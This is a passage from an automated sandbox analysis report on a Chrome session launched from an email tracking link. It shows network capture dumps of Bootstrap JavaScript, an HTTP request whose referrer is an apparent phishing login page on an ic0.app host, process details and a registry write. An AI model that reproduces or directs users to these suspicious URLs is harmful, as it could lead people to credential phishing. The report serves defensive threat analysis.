6 26 62 6e 28 72 29 2e 68 61 73 43 6c 61 73 73 28 6b 6e 29 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 
6e 20 69 2e 5f 74 72 61 6e 73 69 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 
Data Ascii: tNode,l):l()}}},t.dispose=function(){bn.removeData(this._element,Sn),this._element=null},t._activate=functio
n(t,e,n){var i=this,r=("UL"===e.nodeName?bn(e).find(Rn):bn(e).children(Ln))[0],o=n&&r&&bn(r).hasClass(kn),s=function()
{return i._transitionComplete

2022-07-01 17:36:50 UTC 348 IN Data Raw: 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 6e 2e 66 6e 2e 74 61 62 3d 41 6e 2c 71 6e 2e 5f 6a 51 75 
65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 71 6e 29 3b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 75 6e 64 65 
66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 42 6f 
6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 53 63 72 69 70 74 20 72 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 2e 20 6a 
51 75 65 72 79 20 6d 75 73 74 20 62 65 20 69 6e 63 6c 75 64 65 64 20 62 65 66 6f 72 65 20 42 6f 6f 74 73 74 72 61 70 2
7 73 20 4a 61 76 61 53 63 72 69 70 74 2e 22 29 3b 76 61 72 20 65 3d 74 2e 66 6e 2e 6a 71 75 65 72 79 2e 73 70 6c 69 
74 28 22 20 22 29 5b 30 5d 2e 73 70 6c 69 74 28 22 2e 22 29 3b 69 66 
Data Ascii: nction(){return bn.fn.tab=An,qn._jQueryInterface},qn);!function(t){if("undefined"==typeof t)throw new TypeEr
ror("Bootstrap's JavaScript requires jQuery. jQuery must be included before Bootstrap's JavaScript.");var e=t.fn.jquery.
split(" ")[0].split(".");if

2022-07-01 17:36:50 UTC 349 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

9 192.168.2.3 49778 13.224.103.120 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-07-01 17:36:52 UTC 424 OUT GET /glenergy.com HTTP/1.1
Host: logo.clearbit.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/login.html?okb=o8MWQ8otfZuw6QsAaLjPPIoQ&rhw
h=Pu55NB1yr2jpvYRqSE&plpb=azaaxBfNMnkncPlD1dbKCjabbV&pepwe=NNmUbBHh57IDtuVbpJCTiLbygyk
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-07-01 17:36:53 UTC 424 IN HTTP/1.1 404 Not Found
Content-Type: text/plain; charset=utf-8
Content-Length: 1
Connection: close
Date: Fri, 01 Jul 2022 17:36:53 GMT
Server: envoy
strict-transport-security: max-age=63072000; includeSubDomains; preload
x-content-type-options: nosniff
X-Cache: Error from cloudfront
Via: 1.1 7e81b1a3e22ce96cdfb0b6c2db121d58.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: ZRH50-C1
X-Amz-Cf-Id: h9tn3HOj7fld8iDX00ahC_BOUdqYI2s8nHwa8U40xRdqavDq4uM5oA==

2022-07-01 17:36:53 UTC 425 IN Data Raw: 0a 
Data Ascii: 

• chrome.exe

• chrome.exe

Click to jump to process

Target ID: 0

Start time: 19:36:43

Start date: 01/07/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Statistics

Behavior

System Behavior

Analysis Process: chrome.exe PID: 5592, Parent PID: 2916

General
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Commandline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation  "https://u27457241.ct.sendgrid.net/ls/click?upn=gU5vgDjV
hsr8xBWi9KbyhCmRGj-2Bhghe49Z0FiLcWjrB3-2BHjpRZrJUn0d0SGBkXrx6oN6ZDJ2BS4RqE-2FwX06Vp6CNzr5fnG8rLhZtVfnefSs-3DAxs4_-2BYPg4
XG7CFcrtVeqe-2FEiJSrJo19pXwJ6tXzH5pmmxxnbXO272-2BI29kN-2BvjWAIpglbQXOPOiRaJAAdguTnhglHj-2BjiZuY-2Bl2yPjdcSrK-2F9ezebjhFVSInURAAh0N
L7wSvgIxrQfzCizFzhR7FuzvZGAC9IXJiD5MvT-2BM-2Bord7nJExCKq3jFy6KjuvaLIUZjyvy957XsqnMttci2nlXO0KBQ-3D-3D

Imagebase: 0x7ff7f6290000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: low

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

HKEY_CURRENT_US
ER\Software\Goo
gle\Update\ClientState
\{8A69D345-D564-
463c-AFF1-
A69D9E530F96}

dr unicode 0 1 success or wait 1 7FF7F62CFC4B RegSetValueEx
W

Target ID: 1

Start time: 19:36:44

Start date: 01/07/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1576,58715
00396177420018,11391610541881566734,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-
handle=1920 /prefetch:8

Imagebase: 0x7ff7f6290000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: low

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Activities

Registry Activities

Key Value Modified

Analysis Process: chrome.exe PID: 1012, Parent PID: 5592

General

File Activities
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File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

⊘ No disassembly

Disassembly
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